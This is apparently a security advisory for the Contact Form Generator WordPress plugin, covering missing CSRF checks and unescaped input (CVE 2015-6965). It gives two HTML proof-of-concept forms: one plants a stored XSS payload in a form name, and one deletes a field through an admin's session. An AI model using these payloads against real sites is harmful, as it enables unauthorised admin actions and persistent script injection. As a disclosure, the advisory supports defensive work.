Contact Form Generator < 2.5.5 – Multiple Cross-Site Request Forgery (CSRF) | CVE 2015-6965

Description

The plugin does not have any CSRF checks in place on its creating/editing/deleting Forms/Fields and Templates actions, allowing attacker to make logged in admin perform such actions. Furthermore, the plugin also does not sanitise and escape any data, which could lead to Stored XSS issue as well.

The original issue is from 2015, and was about CSRF on the delete action, however the current latest version (2.1.86) is still affected, and CSRF is affecting any action, as well as allowing for XSS attacks.

Version 2.5.0 attempts to thwart CSRF attacks with a homemade request token validation routine, but uses very weak pseudorandom generators to do so, making it still exploitable.

Proof of Concept

Edit the Form with id 1, adding XSS payload (triggered in the Forms/Fields list, as well when editing the Form)

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=forms" method="POST">
      <input type="hidden" name="name" value='Basic Form"><svg/onload=alert(/XSS/)>' />
      <input type="hidden" name="top_text" value="Contact Us" />
      <input type="hidden" name="pre_text" value="Feel free to contact us if you have any questions" />
      <input type="hidden" name="thank_you_text" value="Message successfully sent" />
      <input type="hidden" name="send_text" value="Send" />
      <input type="hidden" name="send_new_text" value="New email" />
      <input type="hidden" name="close_alert_text" value="OK" />
      <input type="hidden" name="form_width" value="100%" />
      <input type="hidden" name="id_template" value="1" />
      <input type="hidden" name="email_to" value="" />
      <input type="hidden" name="email_bcc" value="" />
      <input type="hidden" name="email_subject" value="" />
      <input type="hidden" name="email_from" value="" />
      <input type="hidden" name="email_from_name" value="" />
      <input type="hidden" name="email_replyto" value="" />
      <input type="hidden" name="email_replyto_name" value="" />
      <input type="hidden" name="redirect" value="0" />
      <input type="hidden" name="redirect_itemid" value="762" />
      <input type="hidden" name="redirect_url" value="" />
      <input type="hidden" name="redirect_delay" value="0" />
      <input type="hidden" name="send_copy_enable" value="1" />
      <input type="hidden" name="send_copy_text" value="Send me a copy" />
      <input type="hidden" name="shake_count" value="2" />
      <input type="hidden" name="shake_distanse" value="10" />
      <input type="hidden" name="shake_duration" value="300" />
      <input type="hidden" name="email_info_show_referrer" value="1" />
      <input type="hidden" name="email_info_show_ip" value="1" />
      <input type="hidden" name="email_info_show_browser" value="1" />
      <input type="hidden" name="email_info_show_os" value="1" />
      <input type="hidden" name="email_info_show_sc_res" value="1" />
      <input type="hidden" name="show_back" value="1" />
      <input type="hidden" name="published" value="1" />
      <input type="hidden" name="custom_css" value="" />
      <input type="hidden" name="task" value="save" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Delete the Field with id 4

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=cfg_fields" method="POST">
      <input type="hidden" name="filter_form" value="1" />
      <input type="hidden" name="filter_state" value="2" />
      <input type="hidden" name="filter_type" value="0" />
      <input type="hidden" name="filter_search" value="" />
      <input type="hidden" name="ids[]" value="4" />
      <input type="hidden" name="task" value="delete" />
      <input type="hidden" name="ids[]" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>